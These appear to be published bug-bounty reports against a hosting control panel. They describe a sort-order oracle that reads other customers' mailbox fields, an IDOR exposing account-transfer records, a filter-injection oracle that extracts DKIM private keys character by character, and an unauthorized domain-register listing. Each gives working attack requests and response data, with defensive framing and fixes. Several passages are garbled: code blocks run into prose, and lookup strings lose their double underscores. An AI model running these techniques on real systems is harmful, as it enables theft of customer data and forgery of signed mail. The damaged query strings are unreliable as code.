Customer A receives HTTP 404 on `/mailbox/635949/` and on `/v1/mailbox/635949/` when requesting Customer B's mailbox, while receiving 200 on its own row in the same minute.

## VULNERABLE INSTANCES

```text
GET https://admin.alwaysdata.com/mailbox/?_order=<arbitrary ORM path>
```

The parameter is honoured identically on:

```text
/site/
/domain/
/ssl/
/job/
/service/
/ip/
```

and on:

```text
https://api.alwaysdata.com/v1/ ```

with the same syntax.

It is not honoured on:

```text
/token/
/support/
/database/
/subscription/
/permission/
```

The issue is reachable by any authenticated customer on a free plan. No paid plan, special role, or additional permission grant is required.

## TWO THINGS I WANT TO SAY BEFORE YOU ASK

### FIRST

The same person registered both customers, and that is not relevant to the authorization boundary.

The two customers below were created by one researcher. What matters is that the control plane models them as separate customers and enforces that separation everywhere else.

Customer A receives 404 on Customer B's mailbox on both the panel and API while receiving 200 on its own row in the same minute.

Customer A's API token against Customer B's account ID returns 404, byte-identical to a nonexistent ID.

The account pickers are disjoint, and Customer B does not appear in Customer A's customer selector.

The boundary this report crosses is the one the platform draws, which is the relevant security boundary for this finding.

### SECOND

The value I recovered was one I deliberately planted.

I wrote a canary into a free-text column of a mailbox belonging to the other customer and then recovered it from a session that has no access to that mailbox.

I did this so that no real third-party data was ever read, inferred, or recorded.

The oracle necessarily ranks my probes against the other 50,928 rows in the population, which is the defect itself, but every value I reconstructed was my own.

## STEPS TO REPRODUCE

Total cost: EUR 0.

Two unrelated customers were used, each with their own permissions and disjoint account pickers.

```text
Customer A = user 489835
Customer B = user 489840
Mailbox B = 635949
```

### 1. Plant the canary

As Customer B, store a secret in a free-text column of B's own mailbox on `alwaysdata.net`.

I used `autoresponder_subject`.

The 8-character secret came from `/dev/urandom` and was never opened. Its SHA-256 was committed to the shared working log at `08:57:29Z`, before any probe, so the recovery below is verifiably blind rather than reconstructed from the probe process.

### 2. Create comparands

As Customer A, create one domain of your own and eight mailboxes.

Each mailbox becomes an independent comparand in the same request because the reverse relation emits each mailbox once per population row.

### 3. Issue the ordering request

As Customer A:

```http
GET /mailbox/?_order=domainmailboxesautoresponder_subject
```

Read the indices at which your own eight rows appear.

Each index tells you how many values sort before that comparand, allowing approximately `log2` of the alphabet to be resolved for a character position.

### 4. Repeat

Two requests per character were enough against a 36-character alphabet.

### 5. Result

All 8 characters were recovered from `09:00:01Z` to `09:12:26Z`, in 16 requests.

The recovered string hashes to the digest committed at `08:57:29Z`.

Customer A never had access to Customer B's mailbox before or after the test, as demonstrated by the authorization controls.

## PROOF OF CONCEPT

### COST PER PROBE

Approximately 37 seconds and 786 KB, not 43 MB.

`autoresponder_subject` sorts the whole population and PostgreSQL sorts ascending with `NULLS LAST`, so the interesting window sits near output index 720 of approximately 50,930.

The response can be read as a stream and abandoned once the relevant window has passed.

This saves my bandwidth, not server-side work. Time to first byte remains approximately 33 to 37 seconds.

### THE FIVE CONTROLS

All controls were run in the same window because a rank on its own is not sufficient evidence.

C0: Baseline, canary never planted

The window is a contiguous empty region of population rows. Any later split is caused by the canary.

C1: Predict the rank of a known value

The predicted rank was `32 | 1 | 32`.

C2: Canary removed

The split collapses back to a single block and the delta returns to 0.

This is the control that isolates the canary and was the control that could not be completed earlier.

C3: Replant a different chosen value

The predicted result was `48 | 1 | 16`, matching the changed ordering position.

C4: A second, separately authenticated session

The same reading was reproduced.

### AUTHORIZATION CONTROL

In the same minute, Customer A receives:

```text
404 on /mailbox/635949/
404 on /v1/mailbox/635949/
200 on its own /mailbox/635597/
```

### THE FAN-OUT ITSELF

This was proved on both front doors without making a 43 MB request.

Bounding the queryset to a single owned mailbox:

```text
/v1/mailbox/?name=c2&_order=domainmailboxesid
```

returns eight copies of the control row compared with:

```text
?_order=id
```

The same behaviour occurs on the panel.

### WHAT I DID NOT DO

I did not read, infer, or record any value belonging to another customer.

Every value I reconstructed was one I planted on an account I own.

The generalisation to the other 50,928 rows is argued from the mechanism, not exercised.

## IMPACT

Any authenticated customer on a free plan can read the contents of another customer, one comparison at a time, without ever touching an object they do not own and without triggering any object-level authorization check.

No object-level check is involved because the rows returned are the attacker's own rows.

What is recoverable verbatim today is any column the attacker can also write, which covers the free-text mailbox columns.

I measured which columns the parameter actually accepts, in one batch with a control:

```text
?_order=domainmailboxesredirect_to

  resolves
  indicates where a customer forwards their mail

?_order=domainmailboxessieve_filter

  resolves

?_order=domainmailboxesautoresponder_message

  resolves

?_order=domainmailboxesantispam_folder

  resolves

?_order=domainmailboxespurge_folders

  resolves

?_order=domainmailboxespassword

  resolves
  sortable, but not recoverable verbatim

?_order=domainmailboxeszzbogus4471

  500 / 1,033 bytes
  NEGATIVE CONTROL

```

What is additionally sortable, but which I did not recover and am not claiming as a disclosure, includes the `password` column of the authentication model and `dkim_private_key` of `alwaysdata.net` itself.

Neither is recoverable verbatim using this technique because `password` is hashed and the API validates `dkim_private_key` as a key pair.

I mention them only to show how far the unvalidated path travels when sizing the fix.

I would also point out that the fix for the earlier filter report is separate from this query string handling issue. This parameter is a second instance of the same underlying habit. I mention this to be useful about the class, not to relitigate the earlier ticket.

## RECOMMENDATION

1. Validate `_order` against an explicit allow list of orderable columns, just as would be done for a filter field. Rejecting anything containing `__` would close the traversal on its own.

2. Apply `.distinct()` wherever an ordering may cross a multi-valued relation. The de-duplication is what converts a sort into a read primitive.

3. Catch `FieldError` and return HTTP 400 rather than HTTP 500. The uncaught exception currently acts as an oracle over the internal model graph, including models the panel never renders.

4. Paginate this view. It currently renders 56,148 rows and approximately 48 MB in the demonstrated request.

5. The same parameter is honoured on `api.alwaysdata.com`, so both front doors should be fixed. I checked and the API has no pagination parameter at all.

## DISCLOSURE

I want to explicitly document the testing activity because the application reports alerts when this parameter is exercised.

I caused 36 alerts on this parameter between approximately `06:00Z` and `09:15Z` on 2026-09-24.

Every test object I created has been deleted and verified gone, and both mailboxes I touched were restored field by field with a read-back verification.

 494 Closed Any Customer Reads Every Account Transfer Record Bajinder Task Description

Vulnerability Information:

Name of Vulnerability:
`/transfer/<id>/confirm/` performs no object-level authorization, allowing any authenticated customer to read account transfer records created for other customers by walking the global sequential ID space.

The endpoint exposes the transferred account's name, product tier, and email address of the person receiving the transfer, while the sibling `/transfer/<id>/accept/` and `/transfer/<id>/cancel/` views correctly scope the same object.

Vulnerability Category:
Access Control Issues, Exposure of Sensitive Members Information, per the qualifying list on your bug bounty page.

This is the same class as  FS#423  (IDOR to registrant dossiers) and  FS#203  (account data exposed through insufficient authorization), both of which you fixed.

CVSS 3.1: 6.5 Medium
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

I score this based on the demonstrated primitive only: read access, one record per request, and no write capability.

The issue exposes third-party personal data, including email addresses, and therefore falls within the "accessing customers' data" impact category.

This report is unrelated to my two reports concerning `/reseller/domain/`. It is a different application and a different authorization defect.

Description:

Account ownership transfers, referred to as "cession", are represented by objects with a single global sequential ID rather than per-customer numbering.

The three views that operate on a transfer are:

```
/transfer/<id>/accept/

  Correctly scoped
  404 for a transfer the authenticated customer is not party to

/transfer/<id>/cancel/

  Correctly scoped
  404 for a transfer the authenticated customer is not party to

/transfer/<id>/confirm/

  NOT scoped
  200 for every existing transfer ID

```

The missing authorization check on `/confirm/` is the entire defect.

The existing codebase provides the control that demonstrates this clearly. Using the same user, in the same session, against the same transfer ID, `/accept/` and `/cancel/` refuse access while `/confirm/` serves the object.

The confirmation page renders:

```
"The transfer of the account <ACCOUNT NAME> is currently being accepted by <EMAIL ADDRESS>."
```

The product tier is also present in the page heading, for example:

```
"Transfer of a Private cloud account"
```

Because the transfer ID space is a single global counter, an attacker does not need to guess individual identifiers. They can enumerate them sequentially.

I swept a contiguous window of 68 IDs and 64 returned HTTP 200. Additional spot checks at IDs 800, 1400, 2000, 3000, 4500, and 4900 also returned HTTP 200.

This demonstrates that the vulnerable endpoint covers historical transfer records rather than only a recent slice.

Transfer ID 2000 predates every account I own, which rules out any permission relationship between my own accounts as an explanation.

WHAT THIS REACHES THAT A CUSTOMER CANNOT ALREADY REACH

A tenant's own SSH shell cannot enumerate another customer's ownership-transfer history.

This is control-plane state. The record couples a business or project account with the email address of the individual receiving ownership of it, identifying which party in a private commercial handover ultimately received the asset.

Nothing in a customer's own environment exposes this information.

Vulnerable Instances:

```
GET https://admin.alwaysdata.com/transfer/<id>/confirm/

POST https://admin.alwaysdata.com/transfer/<id>/confirm/
```

The POST is also read-only in the observed behavior and does not mutate the transfer.

`<id>` can be any existing transfer ID.

The endpoint is reachable by any authenticated customer.

No permission grant, reseller role, or paid plan is required.

Steps to Reproduce:

Total cost: EUR 0.

I used a customer login with no relationship to the affected transfers.

All times are UTC, 2026-09-23.

1. Log in as an ordinary customer.

I used the login listed in the private annex. It owns exactly one account:

```
zzr1sticky0921
```

Its "Granted permissions" list is empty.

2. Request:

 GET /transfer/2000/confirm/

The endpoint returns HTTP 200 with a 149,638-byte response.

The body identifies a third-party account and the email address of the person accepting its transfer.

I read three transfer records in full. Their identifying values are listed in the private annex rather than in this report because tasks on this tracker are published and the values belong to your customers.

3. THE CONTROL THAT PROVES THE CHECK IS MISSING

Using the same session, the same IDs, and the same minute, two of the three sibling views refuse the exact object that `/confirm/` serves.

See the Proof of Concept for the response matrix.

4. FURTHER CONTROLS

a) A 200 response genuinely means that the record exists, making the endpoint an existence oracle:

```
/transfer/99999999/confirm/

  404

/transfer/-1/confirm/

  404

/transfer/0/confirm/

  404

```

b) Authentication is required, so this is not an unauthenticated leak:

```
Anonymous GET /transfer/2000/confirm/
```

returns:

```
302 to /login/?next=/transfer/2000/confirm/
```

c) I reproduced the issue from a second, unrelated customer login, confirming that it is not an artifact of a single account.

d) No other transfer sub-route I tested was open.

I swept 24 sub-routes including:

```
accept
cancel
decline
refuse
reject
delete
detail
edit
update
resend
renew
validate
complete
finish
abort
status
retry
approve
deny
transfer
the bare ID route
```

Every tested route returned 404 at exactly 179 bytes, identical to the response for a nonexistent ID.

Only `/confirm/` was readable cross-customer.

I include this control to make the blast radius precise: this is a disclosure issue, not a demonstrated takeover path.

5. RE-VERIFIED

I re-verified the issue at 05:45:11Z UTC from a newly established session, logged in from scratch specifically for this check.

No part of the evidence therefore depends on a session used for another test.

Proof of Concept:

All output below is verbatim. Customer-identifying values are replaced with placeholders and provided in the private annex.

Sibling view matrix, same session, same IDs, same minute:

```
ID /confirm/ /accept/ /cancel/
2000 200 (149,638 B) 404 (179 B) 404 (179 B)
4500 200 (149,636 B) 404 (179 B) 404 (179 B)
5030 200 (149,632 B) 404 (179 B) 404 (179 B)
```

Nonexistent and negative ID controls on the SAME view:

```
/transfer/99999999/confirm/ 404
/transfer/-1/confirm/ 404
/transfer/0/confirm/ 404
```

Unauthenticated control:

```
anonymous GET /transfer/2000/confirm/

  302 to /login/?next=/transfer/2000/confirm/

```

Shape of the disclosed response body, with the two sensitive values replaced:

```
Home > Transfers > Transfer of a Private cloud account

"The transfer of the account <ACCOUNT-X> is currently being accepted by <EMAIL-X>.
This only concerns the ownership of the account. If you also want the contents
to be migrated to another server, please …"
```

Extent of the ID space:

```
IDs 4995 to 5062

  64 of 68 returned HTTP 200

```

Spot checks returning HTTP 200:

```
800
1400
2000
3000
4500
4900
```

Transfer ID 2000 predates every account I own.

Impact:

Any person with a free Alwaysdata account can enumerate the global history of account ownership transfers on the platform.

For each transfer, the endpoint exposes:

```
Account name
Product tier
Email address of the receiving party
```

Concretely:

Commercial and personal relationship disclosure.

The endpoint links a named hosting account, and therefore potentially a business or project, to the personal email address of the individual receiving control of it.

For customers who are individuals or sole traders, this directly exposes personal information to any authenticated customer.

Commercially sensitive transfer events.

An account transfer can represent a business handover, a freelancer transferring client infrastructure, or another private ownership change.

The existence, timing, account identity, and receiving party of the transfer are disclosed.

Phishing and social-engineering targeting.

An attacker can obtain the exact account name and product tier associated with a genuine transfer and address the recipient using the email address exposed by the endpoint.

This provides a substantially more specific pretext than generic phishing.

Platform-wide transfer enumeration.

The existence oracle also provides information about historical transfer activity across the platform.

Recommendation:

1. Apply to `/transfer/<id>/confirm/` the same queryset scoping already used by `/transfer/<id>/accept/` and `/transfer/<id>/cancel/`.

Those two views provide the correct reference implementation.

The missing object-level authorization check appears to be the direct defect.

2. Confirm that the scoping predicate covers both parties to the transfer.

Specifically, verify that access is restricted to the transfer sender or the named recipient, and that this predicate is applied consistently to both GET and POST handling.

`/confirm/` currently responds to GET requests without the required object-level scope.

3. As defense in depth, apply the same principle used for the reseller views.

The transfer views should not default to a global queryset when the customer-specific filter is omitted.

A shared base view or authorization mechanism that requires object scoping would prevent another sibling view from accidentally exposing the same global dataset.

4. Optional and secondary: consider whether the confirmation page needs to display the recipient's full email address before acceptance.

A masked form may reduce unnecessary personal-data exposure even after the authorization issue is fixed.

DISCLOSURE AND CLEANUP:

I read three transfer records in full, plus one earlier record during discovery.

For the remaining enumeration, I recorded only HTTP status codes and response sizes.

Nothing was created, modified, accepted, cancelled, or deleted.

`/confirm/` is read-only based on the observed behavior.

I have not retained the personal data beyond the private annex submitted alongside this report, and I will destroy that annex upon your confirmation.

Customer-identifying values have deliberately been omitted from this published task because they belong to your customers.

Test window:

```
2026-09-23 04:40Z to 05:45Z UTC
```

 493 Closed Blind Read of DKIM Private Keys via Filter Injection Bajinder Task Description

Vulnerability Information:

Name of Vulnerability:
The /reseller/domain/ endpoint allows attacker-controlled Django ORM lookups on TextField columns, turning the row count into a boolean oracle that can extract DKIM private keys character by character for domains across the entire 43,545-record register

Vulnerability Category:
Access Control Issues, Exposure of Sensitive Members Information, per the qualifying list on your bug bounty page.

This is a cross-customer disclosure of private key material.

CVSS 3.1: 9.3 Critical
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Confidentiality is High because the private half of a customer's DKIM keypair is exposed.

Integrity is Low rather than None because possession of a DKIM signing key allows an attacker to produce mail that authenticates as the victim's domain, corrupting the integrity of a security control operated by the customer. This does not directly modify data on the Alwaysdata platform.

Scope is Changed because the vulnerable component is the control-plane view, while the impacted component is the mail-authentication infrastructure of the 24,867 domains that hold a DKIM private key.

Description:

THIS IS A SECOND, INDEPENDENT DEFECT ON THE SAME ENDPOINT as my report "Full Customer Domain Register Readable by Any Customer."

That report concerns the missing authorization decorator and therefore who may reach this view. This report concerns what the view does with its query string after it has been reached.

The two issues require separate fixes. Adding the missing authorization decorator would still leave this vulnerability reachable by any legitimate reseller. The same filter helper is also mounted on:

```
/site/
/ssh/
/ftp/
/webdav/
/domain/
```

where tenancy scoping currently happens to contain the issue.

For each key=value pair in the query string, the view performs:

```
base = key.split('')[0]
``` It then resolves base against the Domain model. Three outcomes are possible: ```
base is not a field
The parameter is silently ignored. base is a CharField
The code appends
icontains to the WHOLE key.

  This is why:
      ?name__startswith=x
  raises an uncaught FieldError and results in HTTP 500. The ORM is effectively asked for:
      name__startswith__icontains

base is a TextField

  NOTHING is appended.
  Whatever lookup the attacker supplied is passed directly to .filter(), together with an attacker-controlled operand.

```

dkim_private_key and dkim_public_key are TextFields on this model.

This means an attacker can issue arbitrary true/false questions about the contents of a private key and observe the answer through the number of rows returned.

Because the same query string also accepts:

```
?name=<domain>
```

the attacker can first restrict the result set to exactly one domain and then ask questions about that specific row.

This converts a global row-count response into a per-domain, character-by-character read primitive.

THIS IS NOT THE DOCUMENTED OWNER READ.

Your API documentation describes dkim_private_key as:

```
"La clé privée, de type RSA au format PEM"
```

The legitimate owner read path works correctly. I verified that:

```
/v1/domain/<id>/
```

returns 404 when requested for a domain I do not own.

A customer reading their own DKIM key through an intended owner-only API is therefore not the issue.

The defect is that this reseller-domain endpoint allows another customer to query the private key for any domain.

WHAT THIS REACHES THAT A CUSTOMER CANNOT ALREADY REACH

A DKIM private key is not exposed to a tenant through any other route I tested.

I verified this from the node:

```
uid=548819(vk7research)
hostname=ssh2
```

There is no readable /etc/opendkim* file, no readable file matching *dkim*, and:

```
ls /home/
```

returns:

```
Permission denied
```

A customer's own shell therefore cannot read a DKIM private key at all, including its own, let alone another customer's.

Vulnerable Instances:

```
GET https://admin.alwaysdata.com/reseller/domain/?dkim_private_key__startswith=<attacker string>

GET https://admin.alwaysdata.com/reseller/domain/?name=<victim domain>&dkim_private_keyregex=<pattern> GET https://admin.alwaysdata.com/reseller/domain/?dkim_private_key__endswith=<attacker string>
``` The same mechanism applies to: ```
dkim_public_key
``` The endpoint is reachable by any authenticated customer. No reseller role, permission grant, or paid plan is required. Steps to Reproduce: Total cost: EUR 0. I used an ordinary customer login with no special role. All times are UTC, 2026-09-23. I used two unrelated customer sessions and obtained identical results. 1. Establish that the vulnerable column is reachable and that the oracle has both TRUE and FALSE states. Counts were read from the paginator rather than estimated: ```
/reseller/domain/
2178 pages
43,545 rows
Entire register /reseller/domain/?dkim_private_key
startswith=—–

  1244 pages
  24,867 rows
  Domains holding a PEM key

/reseller/domain/?dkim_private_keystartswith=ZZZZNOPE
0 rows
Negative control
``` A parameter that was being ignored could not produce 0 rows, while a parameter that was always true could not produce exactly 24,867 of 43,545 rows. Both states are real, establishing a working boolean oracle. 2. Pin the result set to a SINGLE row and ask questions about that row. I deliberately chose Alwaysdata's OWN domain so that every value I touched belonged to you rather than to a customer. ```
?name=alwaysdata.net
1 row ?name=alwaysdata.net&dkim_private_key
startswith=—–

  1 row
  TRUE

?name=alwaysdata.net&dkim_private_keystartswith=ZZZZ
0 rows
FALSE control ?name=alwaysdata.net&dkim_private_key
startswith=—–BEGIN

  1 row

?name=alwaysdata.net&dkim_private_keystartswith=—–BEGIN RSA
1 row ?name=alwaysdata.net&dkim_private_key
startswith=—–BEGIN DSA

  0 rows
  FALSE control

?name=alwaysdata.net&dkim_private_keyendswith=—–END RSA PRIVATE KEY—– 1 row
``` The RSA versus DSA pair is important because the oracle discriminates based on the CONTENT of the value, not merely whether a value is present. The
endswith result also demonstrates that the far end of the value is reachable, so extraction is not limited to a prefix walk.

3. Extraction was performed against Alwaysdata's OWN domain so that no customer key material was touched.

See the Proof of Concept below for the character walk.

The LINE ENDING was determined by the oracle rather than assumed:

```
—–BEGIN RSA PRIVATE KEY—–\r\n

  1 row

—–BEGIN RSA PRIVATE KEY—–\n

  0 rows

```

This demonstrates that the oracle is reading the stored value rather than merely reporting that a value exists.

I STOPPED at eight characters of base64 DER boilerplate.

Specifically:

```
MIICXAIB
```

is the PKCS#1 DER prefix shared by 1024-bit RSA private keys and therefore contains no bytes specific to your key.

I deliberately printed nothing beyond that point and do not hold anything beyond it.

Using:

```
regex=^<known>[<class>]
``` a binary search over the alphabet would require approximately six requests per character. I measured the endpoint's behavior rather than assuming it. Twenty consecutive probes on this parameter all returned HTTP 200 with: ```
No 429
No 503
No delay
``` at approximately 0.6 requests per second. I did not test higher rates and therefore make NO claim that rate limiting is absent. I only establish that none was encountered at the rate used for the test. 4. PROOF THAT THIRD-PARTY CUSTOMERS ARE AFFECTED I established this without reading anyone's private key. I ran ONE boolean probe against ONE third-party domain taken from the first page of the register. It is referred to here as: ```
<THIRD-PARTY-DOMAIN-A>
``` and is identified in the private annex. The domain is owned by an account that is not mine and has no relationship to my accounts. The requests were: ```
?name=<THIRD-PARTY-DOMAIN-A>
1 row ?name=<THIRD-PARTY-DOMAIN-A>&dkim_private_key
startswith=—–BEGIN

  1 row
  TRUE

?name=<THIRD-PARTY-DOMAIN-A>&dkim_private_keystartswith=ZZZZ
0 rows
FALSE control
``` The only question asked was whether the value begins with the universal PEM header. No key material was disclosed by this probe, and I did not continue extraction against that domain. I deliberately do NOT provide a number for how many of the 24,867 keys belong to external customers. The Internal column is not filterable: ```
?internal=1
?internal=0
``` Both return the full 43,545 rows. Therefore, any split between internal and external domains would require an assumption, and I am not making one. 5. THE KEY IS LIVE, not a dormant database column. I verified that the value read by the oracle corresponds to a DKIM key that is published and in use. See the Proof of Concept below. Proof of Concept: All output below is verbatim. Counts, computed from the paginator bound and the row count on the last page: ```
/reseller/domain/
2178 pages
5 on the last page
43,545 total /reseller/domain/?dkim_private_key=
934 pages
18 on the last page
18,678 empty /reseller/domain/?dkim_private_key
startswith=—–

  1244 pages
  7 on the last page
  24,867 with key

18,678 + 24,867 = 43,545
```

Every row in the register is therefore accounted for, and the two predicates partition the entire register.

This arithmetic is an internal consistency check that the filter is actually being applied.

Character walk on alwaysdata.net:

Each line represents a separate request. The value shown is the startswith operand and the result is the row count. ```
—–BEGIN RSA PRIVATE KEY—–\r\n
1
Line ending determined by the oracle —–BEGIN RSA PRIVATE KEY—–\n
0
Control, LF alone is incorrect —–BEGIN RSA PRIVATE KEY—–\r\nM
1 —–BEGIN RSA PRIVATE KEY—–\r\nMI
1 —–BEGIN RSA PRIVATE KEY—–\r\nMII
1 —–BEGIN RSA PRIVATE KEY—–\r\nMIIC
1 —–BEGIN RSA PRIVATE KEY—–\r\nMIICX
1 —–BEGIN RSA PRIVATE KEY—–\r\nMIICXA
1 —–BEGIN RSA PRIVATE KEY—–\r\nMIICXAI
1 —–BEGIN RSA PRIVATE KEY—–\r\nMIICXAIB
1 —–BEGIN RSA PRIVATE KEY—–\r\nMIID
0
Control, same depth, wrong character —–BEGIN RSA PRIVATE KEY—–\r\nNIIC
0
Control, same depth, wrong character
``` Recovered prefix: ```
—–BEGIN RSA PRIVATE KEY—–\r\nMIICXAIB
``` I stopped at that point. The key is live and published: ```
dig TXT default._domainkey.alwaysdata.net
``` returned: ```
"v=DKIM1; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/sSC4hrmqyHzkMAU8tpK7BWmvg5JmOBbs028HZQDi…"
``` The zone answered with the same public key for every selector tested: ```
default
mail
dkim
alwaysdata
selector1
k1
s1
ad
smtp
key1
``` This indicates a wildcard *._domainkey record, meaning the key is reachable under any selector a verifier looks up. The register also agrees with DNS regarding the configured selector. dkim_selector is a CharField, so the same filter surface provides a contains match: ```
?name=alwaysdata.net&dkim_selector=default
1 row
``` Controls: ```
mail
0 rows dkim
0 rows zzznope
0 rows
``` The two key halves are also consistent in size and format. The published public key begins with: ```
MIGf
``` which is the header for a 1024-bit RSA public key. The private value recovered by the oracle begins with: ```
MIICXAIB
``` which is the PKCS#1 header for a 1024-bit RSA private key. Therefore, the readable private value corresponds to the public key that your verifiers are actually checking signatures against. Error behavior revealing the mechanism: ```
?name
startswith=x

  HTTP 500
  Uncaught FieldError
  The ORM is asked for name__startswith__icontains

?accountzzbogus=1
HTTP 500
Uncaught FieldError ?xyz
id=1

  HTTP 200
  Silently ignored because the first segment is not a model field

?dkim_private_keystartswith=<anything>
HTTP 200
Filter applies because the first segment is a TextField
``` Impact: An attacker with a free Alwaysdata account can extract the DKIM signing key of any domain hosted by Alwaysdata. With a domain's DKIM private key, an attacker can sign mail that passes DKIM as that domain. The Proof of Concept demonstrates that the corresponding public key is published and served under the tested selectors. Because DKIM is used by DMARC for alignment, a DMARC policy of p=reject does not by itself prevent forged mail when the attacker possesses the legitimate DKIM signing key. The forged message can authenticate correctly using the compromised key. This enables: Undetectable business email compromise against customer domains. An attacker possessing the private key can produce mail that cryptographically authenticates as the victim domain, including messages containing invoices, payment-detail changes, or instructions to staff. 24,867 domains contain a readable DKIM private key, and I demonstrated the read primitive against a third-party customer's domain without extracting its key. Defeat of the victim's own anti-phishing posture. Customers that have configured SPF, DMARC, and DKIM correctly can still be affected because possession of the legitimate signing key allows an attacker to generate valid DKIM signatures. Persistent compromise. The key does not expire simply because it has been disclosed. Remediation requires the customer to rotate the DKIM key and publish a new public key. The most significant single row is alwaysdata.net itself. I confirmed that it contains a readable RSA private key with a live published public half. This is the domain under which customer mailboxes live and, more importantly, the domain from which your own transactional mail is sent, including password-reset messages. An attacker holding that key can therefore send DKIM-valid mail as alwaysdata to your customer base. Recommendation: 1. Fix the filter construction. Validate the WHOLE parameter key against an explicit allow list of <field>
<lookup> combinations that the endpoint is intended to support.

Do not validate only the first path segment.

The current asymmetry is the specific cause of the vulnerability:

```
CharField → icontains appended
TextField → no lookup appended
``` A TextField should receive the same safe treatment as a CharField. Preferably, attacker-supplied lookups should not be accepted at all. 2. Remove dkim_private_key from the queryset fields that this view can filter on, and from any serializer that does not require it. A private key should never be a filterable column. 3. Fix the missing authorization on /reseller/domain/ as described in my separate report. Neither fix substitutes for the other. The authorization decorator alone would still leave this vulnerability reachable by every legitimate reseller, and the same filter helper is shared with: ```
/site/
/ssh/
/ftp/
/webdav/
/domain/
``` 4. Treat the DKIM keys as potentially compromised. The endpoint has been reachable by any customer, and I encountered no throttling at the rate used for testing. I would rotate affected DKIM keys, starting with alwaysdata.net. 5. Return HTTP 400 rather than HTTP 500 for an unresolvable lookup. Currently: ```
?name
startswith=x
```

and:

```
?account__zzbogus=1
```

produce uncaught FieldErrors.

DISCLOSURE AND CLEANUP:

No object was created, modified, or deleted at any point.

This report is entirely read-only.

The ONLY row I ever pinned and walked character by character was alwaysdata.net, which belongs to Alwaysdata.

I stopped after eight bytes of universal PEM and DER boilerplate.

I did not extract and do not hold any key material belonging to Alwaysdata or any customer.

Cross-customer reach is evidenced by three requests against one third-party domain, asking only whether its value begins with the universal PEM header.

That domain is identified in the private annex rather than in this task because tasks on this tracker are published.

I also generated approximately 20 uncaught FieldError HTTP 500 responses on /reseller/domain/ between 06:29Z and 07:10Z while mapping which fields were reachable.

The 500 page states:

```
"We have been immediately alerted"
```

Those alerts are therefore explained by this report.

Test window:

```
2026-09-23 06:29Z to 08:25Z UTC
```

 492 Closed Full Customer Domain Register Readable by Any Customer Bajinder Task Description

Vulnerability Information:

Name of Vulnerability:
Unauthorised access to the global reseller domain listing exposes 43,545 customer domain records, including owning account names, internal customer IDs, and expiration dates

Vulnerability Category:
Access Control Issues, Exposure of Sensitive Members Information, per the qualifying list on your bug bounty page.

This is the same class as  FS#203  (account domains exposed through insufficient authorization) and  FS#423  (IDOR to registrant dossiers), both of which you fixed.

CVSS 3.1: 7.7 High
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

I score this High rather than Critical because the primitive is read-only and does not directly modify anything. For your own triage, the exposed data is a complete core control-plane table covering your entire customer base, which appears relevant to the wording your reward table uses for the Critical band. It also includes your own infrastructure records. I leave that determination to you rather than claiming a Critical severity.

Description:

/reseller/domain/ is part of the reseller application. Seventeen other routes in the same application, including /reseller/customer/ and /reseller/ticket/notifications/, correctly reject a customer who is not a reseller with a 302 redirect to /. The /reseller/domain/ route does not perform an authorization check and instead returns the global queryset.

As a result, any person who can create a free Alwaysdata account can read the entire domain register. Signup is self-service and free.

Each row exposes four visible columns:

```
Name
Account
Internal
Expiration date
```

Each row also contains a link that discloses two internal primary keys that are not otherwise shown on screen:

```
/reseller/customer/<customer_id>/connect/?all_permissions=1&next=/domain/<domain_id>/?_account=<account>
```

Therefore, each record exposes:

```
Domain name
Owning account name
Internal customer ID
Internal domain ID
Whether the domain is internal
Expiration date
```

THE SENSITIVE PART IS THE DOMAIN-TO-ACCOUNT JOIN, NOT THE DOMAIN NAMES THEMSELVES.

A domain owned by an Alwaysdata customer is not necessarily externally identifiable as an Alwaysdata customer. Two examples from the first page of results are kept in the private annex: <DOMAIN-A> is served by Cloudflare nameservers, while <DOMAIN-B> uses myhostadmin.net nameservers. DNS, WHOIS, and certificate-transparency observations therefore do not reveal that either domain belongs to an Alwaysdata customer.

The vulnerable listing states this relationship directly, together with the account name and internal customer ID.

This is why the published carve-out concerning account names does not cover this finding. The issue is not merely disclosure of account names. It is the authoritative mapping of domains to their owning Alwaysdata accounts and internal customer IDs across the entire customer base, exposed through a single pageable list.

The ?name= parameter is also a substring filter applied across the global register rather than only against the authenticated customer's objects. This allows targeted queries such as determining whether a particular organisation, domain, or substring appears in the customer register.

IT IS NOT ONLY CUSTOMER DATA.

The register also contains Alwaysdata's own infrastructure records. From the same ordinary customer session, the following query is sufficient:

```
?name=alwaysdata
```

It returns:

```
alwaysdata.com
alwaysdata.net
alwaysdata.fr
alwaysdata.info
alwaysdata.org
```

These are owned by the internal account "ad" and are marked Internal: yes. The same query also exposes a staff sandbox account.

The "ad" row contains a link referencing:

```
/reseller/customer/9341/connect/
```

which discloses your internal customer ID.

alwaysdata.net is particularly relevant because it is the zone used for customers' automatically provisioned hostnames, and "ad" is the account that owns the shared zone.

This discloses internal account and infrastructure structure that is not available through a normal customer session. It is also related to the same class of disclosure addressed in  FS#426  and the follow-up  FS#440 .

RELATED REPORT

I am filing a separate Critical report titled "Blind Read of DKIM Private Keys via Filter Injection."

That report concerns how this view processes its query string rather than who is authorized to access the view. The two issues require independent fixes.

Adding the missing reseller authorization described here would still leave the filter-injection issue reachable by a reseller. The same filter helper is also mounted on:

```
/site/
/ssh/
/ftp/
/webdav/
/domain/
```

where tenancy scoping currently contains the issue.

WHAT THIS REACHES THAT A CUSTOMER CANNOT ALREADY REACH

A customer may be able to perform operations through their own SSH access, but that does not provide access to this dataset.

I verified this from a shell on the node. On ssh2:

```
ls /home/
```

returns:

```
Permission denied
```

A tenant's own environment does not enumerate other customers' domains, their owning account names, or their internal customer IDs.

The exposed dataset resides in the control-plane database and is made available to any authenticated customer through this endpoint.

Vulnerable Instances:

```
GET https://admin.alwaysdata.com/reseller/domain/ GET https://admin.alwaysdata.com/reseller/domain/?page=<n>
GET https://admin.alwaysdata.com/reseller/domain/?name=<substring>
```

All three are reachable by any authenticated customer. No reseller role or additional permission is required.

Steps to Reproduce:

Total cost: EUR 0.

I used three mutually independent customer logins so that no permission grant between my own accounts could explain the result.

All times are UTC, 2026-09-23.

1. Log in to https://admin.alwaysdata.com/ as an ordinary customer.

I verified the issue with three separate users, listed in the private annex as:

```
User A: account vk7research
User B: account vk7victim
User C: account zzr1sticky0921
```

User C has an empty "Granted permissions" list and has no relationship with the other two accounts. This confirms that the result is not caused by a shared permission grant.

2. Request:

 GET /reseller/domain/

